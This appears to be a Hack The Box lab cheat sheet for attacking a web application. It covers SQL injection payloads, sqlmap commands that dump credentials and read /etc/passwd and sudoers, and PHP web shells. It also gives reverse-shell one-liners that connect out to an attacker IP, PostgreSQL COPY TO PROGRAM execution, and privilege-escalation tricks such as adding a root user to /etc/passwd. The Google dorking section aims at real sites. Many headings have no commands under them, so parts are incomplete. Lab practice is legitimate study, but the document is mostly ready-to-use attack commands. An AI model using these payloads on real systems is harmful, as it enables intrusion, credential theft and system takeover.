HTB SQL Injection & Exploitation Guide¶
Table of Contents¶
- Google Dorking
- Manual SQL Injection
- SQLMap Usage
- Getting Shell Access
- PostgreSQL Enumeration
- Privilege Escalation
- Common Issues
Google Dorking¶
What is Google Dorking?¶
Advanced Google search operators to find vulnerable sites, exposed data, and sensitive files.
Common Operators¶
site: Search specific domain
filetype: Search specific file types
inurl: Search in URL
intitle: Search in page title
intext: Search in page content
intitle:"index of" Directory listings
Examples¶
Find admin panels:
site:example.com inurl:admin
site:example.com inurl:login
site:example.com intitle:"admin panel"
inurl:/phpmyadmin/
Find exposed files:
site:example.com filetype:sql
site:example.com filetype:log
site:example.com filetype:env
intitle:"index of" password
intitle:"index of" backup
Find vulnerable pages:
Configuration files:
Resources¶
- Google Hacking Database: https://www.exploit-db.com/google-hacking-database
- Dorking cheatsheet: https://gist.github.com/sundowndev/283efaddbcf896ab405488330d1bbc06
Manual SQL Injection¶
Detection¶
Basic tests:
Error-based detection:
Look for database errors in response:
- MySQL: You have an error in your SQL syntax
- PostgreSQL: ERROR: unterminated quoted string
- MSSQL: Unclosed quotation mark
Time-based blind detection:
# MySQL
test' AND SLEEP(5)--
# PostgreSQL
test' AND pg_sleep(5)--
# MSSQL
test' WAITFOR DELAY '00:00:05'--
If page delays 5 seconds = vulnerable.
Exploitation Steps¶
1. Find number of columns
Continue until error. Error at column 4 = 3 columns exist.2. Identify injectable columns
See which numbers (1, 2, or 3) appear on the page = those columns display data.3. Extract database information
MySQL:
test' UNION SELECT database(),user(),version()--
test' UNION SELECT schema_name,NULL,NULL FROM information_schema.schemata--
PostgreSQL:
test' UNION SELECT current_database(),current_user,version()--
test' UNION SELECT datname,NULL,NULL FROM pg_database--
4. Get table names
MySQL:
test' UNION SELECT table_name,NULL,NULL FROM information_schema.tables WHERE table_schema='database_name'--
PostgreSQL:
5. Get column names
MySQL:
PostgreSQL:
6. Extract data
test' UNION SELECT username,password,email FROM users--
test' UNION SELECT concat(username,':',password),NULL,NULL FROM users--
7. Write web shell (if permissions)
MySQL:
test' UNION SELECT "<?php system($_GET['cmd']); ?>",NULL,NULL INTO OUTFILE '/var/www/html/shell.php'--
PostgreSQL:
SQL Comment Syntax¶
MySQL:
PostgreSQL:
MSSQL:
String Concatenation¶
MySQL:
PostgreSQL:
MSSQL:
SQLMap Usage¶
Installation¶
Basic Commands¶
Test URL parameter:
With authentication cookie:
# Get cookie (from login request)
curl -i -X POST http://10.129.95.174/index.php -d "username=admin&password=yourpass"
# Use cookie with sqlmap
sqlmap -u "http://10.129.95.174/dashboard.php?search=test" --cookie="PHPSESSID=abc123def456" --batch
POST request:
sqlmap -u "http://10.129.95.174/search.php" --data="search=test" --cookie="PHPSESSID=abc123" --batch
From Burp Suite request file:
Database Enumeration¶
List all databases:
sqlmap -u "http://10.129.95.174/dashboard.php?search=test" --cookie="PHPSESSID=cookie" --dbs --batch
List tables in database:
sqlmap -u "http://10.129.95.174/dashboard.php?search=test" --cookie="PHPSESSID=cookie" -D database_name --tables --batch
List columns in table:
sqlmap -u "http://10.129.95.174/dashboard.php?search=test" --cookie="PHPSESSID=cookie" -D database_name -T users --columns --batch
Dump table data:
# Specific table
sqlmap -u "http://10.129.95.174/dashboard.php?search=test" --cookie="PHPSESSID=cookie" -D database_name -T users --dump --batch
# All tables in database
sqlmap -u "http://10.129.95.174/dashboard.php?search=test" --cookie="PHPSESSID=cookie" -D database_name --dump-all --batch
# Specific columns
sqlmap -u "http://10.129.95.174/dashboard.php?search=test" --cookie="PHPSESSID=cookie" -D database_name -T users -C username,password --dump --batch
File Operations¶
Read files from server:
sqlmap -u "http://10.129.95.174/dashboard.php?search=test" --cookie="PHPSESSID=cookie" --file-read="/etc/passwd" --batch
sqlmap -u "http://10.129.95.174/dashboard.php?search=test" --cookie="PHPSESSID=cookie" --file-read="/etc/sudoers" --batch
sqlmap -u "http://10.129.95.174/dashboard.php?search=test" --cookie="PHPSESSID=cookie" --file-read="/var/www/html/config.php" --batch
sqlmap -u "http://10.129.95.174/dashboard.php?search=test" --cookie="PHPSESSID=cookie" --file-read="/home/user/user.txt" --batch
Downloaded files location:
Upload web shell:
# Create shell locally
echo '<?php system($_GET["cmd"]); ?>' > shell.php
# Upload to server
sqlmap -u "http://10.129.95.174/dashboard.php?search=test" --cookie="PHPSESSID=cookie" --file-write="shell.php" --file-dest="/var/www/html/s.php" --batch
OS Shell¶
Get interactive OS shell:
sqlmap -u "http://10.129.95.174/dashboard.php?search=test" --cookie="PHPSESSID=cookie" --os-shell --batch
Note: os-shell is unstable on HTB. Prefer web shell or file-read.
Advanced Options¶
Specify database type:
Increase thoroughness:
- Default:--level=1 --risk=1
- Higher = more tests, slower
Use threads (faster):
Bypass WAF:
Clear previous session:
Getting Shell Access¶
Web Shell¶
Simple PHP shell:
Better version:
Upload via SQLMap:
echo '<?php system($_GET["cmd"]); ?>' > shell.php
sqlmap --file-write="shell.php" --file-dest="/var/www/html/s.php"
Usage:
http://10.129.95.174/s.php?cmd=whoami
http://10.129.95.174/s.php?cmd=ls+-la
http://10.129.95.174/s.php?cmd=cat+/etc/passwd
http://10.129.95.174/s.php?cmd=id
With curl:
curl "http://10.129.95.174/s.php?cmd=whoami"
curl "http://10.129.95.174/s.php?cmd=cat%20/etc/passwd"
Reverse Shell¶
Start listener on your machine:
Get your HTB VPN IP:
Trigger from web shell or SQLMap os-shell:
Bash:
Python:
python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("YOUR_IP",4444));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty;pty.spawn("/bin/bash")'
Netcat:
PHP:
Via web shell (URL encoded):
curl "http://10.129.95.174/s.php?cmd=bash%20-c%20%27bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2FYOUR_IP%2F4444%200%3E%261%27"
Upgrade to Interactive Shell¶
# Spawn proper bash shell
python3 -c 'import pty;pty.spawn("/bin/bash")'
# Background the shell (Ctrl+Z)
^Z
# Configure terminal
stty raw -echo; fg
# Set environment
export TERM=xterm
export SHELL=/bin/bash
# Fix terminal size (optional)
stty rows 38 columns 116
PostgreSQL Enumeration¶
Connecting to Database¶
From shell as postgres user:
With credentials:
Remote connection:
PostgreSQL Commands¶
List databases:
Connect to database:
List tables:
Describe table:
\d table_name
SELECT column_name, data_type FROM information_schema.columns WHERE table_name='users';
List users/roles:
Show current user:
Extract data:
Version and config:
Find Database Credentials¶
Config file locations:
# Web application configs
cat /var/www/html/config.php
cat /var/www/html/includes/config.php
cat /var/www/html/.env
grep -r "pg_connect\|pgsql\|DATABASE" /var/www/html/
# PostgreSQL configs
cat /etc/postgresql/*/main/postgresql.conf
cat /etc/postgresql/*/main/pg_hba.conf
# Environment variables
env | grep -i db
env | grep -i postgres
Connection string format:
PostgreSQL Command Execution¶
COPY TO PROGRAM (requires superuser):
COPY (SELECT '') TO PROGRAM 'id';
COPY (SELECT '') TO PROGRAM 'whoami';
COPY (SELECT '') TO PROGRAM 'bash -c ''bash -i >& /dev/tcp/YOUR_IP/4444 0>&1''';
Check if superuser:
Read files:
COPY (SELECT * FROM pg_read_file('/etc/passwd')) TO '/tmp/output.txt';
CREATE TABLE test(data text);
COPY test FROM '/etc/passwd';
SELECT * FROM test;
Write files:
PostgreSQL User Context¶
System user vs Database user:
- postgres is both a Linux system user AND a database role
- Often uses peer authentication (system user = db user, no password needed)
Check system user:
Check database users:
Privilege Escalation¶
Sudo Privileges¶
Check what current user can run as root:
Read sudoers manually:
cat /etc/sudoers
cat /etc/sudoers.d/*
find /etc/sudoers.d -type f -exec cat {} \;
grep postgres /etc/sudoers
grep postgres /etc/sudoers.d/*
SQLMap file-read for sudoers:
Common sudo exploits (GTFOBins):
# vim
sudo vim -c ':!/bin/bash'
# nano
sudo nano
# Press: Ctrl+R, Ctrl+X
reset; sh 1>&0 2>&0
# less/more
sudo less /etc/passwd
!/bin/bash
# find
sudo find / -exec /bin/bash \;
# python
sudo python -c 'import os; os.system("/bin/bash")'
# awk
sudo awk 'BEGIN {system("/bin/bash")}'
GTFOBins: https://gtfobins.github.io/
SUID Binaries¶
Find SUID files:
Common exploitable SUID:
find:
vim:
bash:
python:
Capabilities¶
Find capabilities:
cap_setuid+ep (instant root):
cap_dac_read_search (read any file):
Cron Jobs¶
Check scheduled tasks:
Monitor processes (pspy):
# Download pspy
wget https://github.com/DominicBreuker/pspy/releases/download/v1.2.0/pspy64
chmod +x pspy64
./pspy64
Writable Files¶
Find writable files:
Writable /etc/passwd:
# Generate password hash
openssl passwd -1 password123
# Add root user
echo 'hacker:$1$generated$hash:0:0:root:/root:/bin/bash' >> /etc/passwd
# Switch user
su hacker
Writable service files:
Find Flags¶
Common locations:
# User flag
find /home -name "user.txt" 2>/dev/null
cat /home/*/user.txt
# Root flag
find /root -name "root.txt" 2>/dev/null
cat /root/root.txt
# Search for flags
find / -name "*flag*" 2>/dev/null
find / -name "*.txt" 2>/dev/null | grep -E "user|root|flag"
Automated Enumeration¶
LinPEAS (best):
Or download and run:
wget https://github.com/carlospolop/PEASS-ng/releases/latest/download/linpeas.sh
chmod +x linpeas.sh
./linpeas.sh
Linux Smart Enumeration:
wget https://raw.githubusercontent.com/diego-treitos/linux-smart-enumeration/master/lse.sh
chmod +x lse.sh
./lse.sh -l 1
Common Issues¶
SQLMap os-shell Unstable¶
Problem: Commands timeout, no output, disconnects
Solutions:
-
Use file-read instead:
-
Upload web shell:
-
Dump data directly:
-
Reset HTB machine: Interface → Reset button
SQLMap os-shell Returns "No output"¶
Problem: Commands execute but show no output
Workaround:
# In os-shell, write output to file
ls -la > /tmp/out.txt
# Then read with sqlmap
sqlmap --file-read="/tmp/out.txt"
Reverse Shell Disconnects¶
Solutions:
- Use web shell (most stable for HTB)
- Try different ports: 80, 443, 53, 4444, 8080
- Upgrade shell immediately:
Can't Read Sudoers with sudo -l¶
Alternatives:
# Read directly
cat /etc/sudoers
cat /etc/sudoers.d/*
# Via SQLMap
sqlmap --file-read="/etc/sudoers"
sqlmap --file-read="/etc/sudoers.d/postgres"
# Via web shell
http://IP/shell.php?cmd=cat+/etc/sudoers
PostgreSQL Password Required¶
If postgres system user password != web admin password:
Try other privesc methods: - SUID binaries - Capabilities - Cron jobs - Writable files - Check if flag accessible without root
Quick Reference¶
Get Session Cookie¶
SQLMap Full Workflow¶
# 1. Test vulnerability
sqlmap -u "http://IP/page.php?search=test" --cookie="PHPSESSID=cookie" --batch
# 2. List databases
sqlmap -u "..." --cookie="..." --dbs --batch
# 3. Dump tables
sqlmap -u "..." --cookie="..." -D dbname -T users --dump --batch
# 4. Upload shell
echo '<?php system($_GET["cmd"]); ?>' > s.php
sqlmap -u "..." --cookie="..." --file-write="s.php" --file-dest="/var/www/html/s.php"
Web Shell Commands¶
http://IP/s.php?cmd=whoami
http://IP/s.php?cmd=id
http://IP/s.php?cmd=ls+-la
http://IP/s.php?cmd=cat+/etc/passwd
http://IP/s.php?cmd=find+/+-name+user.txt+2>/dev/null
Reverse Shell One-liner¶
# Start listener
nc -lvnp 4444
# Trigger (from web shell)
bash -c 'bash -i >& /dev/tcp/YOUR_IP/4444 0>&1'
Privesc Quick Checks¶
Resources¶
- PayloadsAllTheThings: https://github.com/swisskyrepo/PayloadsAllTheThings
- GTFOBins: https://gtfobins.github.io/
- HackTricks: https://book.hacktricks.xyz/
- RevShells Generator: https://www.revshells.com/
- SQLMap Wiki: https://github.com/sqlmapproject/sqlmap/wiki
- Google Hacking DB: https://www.exploit-db.com/google-hacking-database
HTB SQL Injection Guide - 2026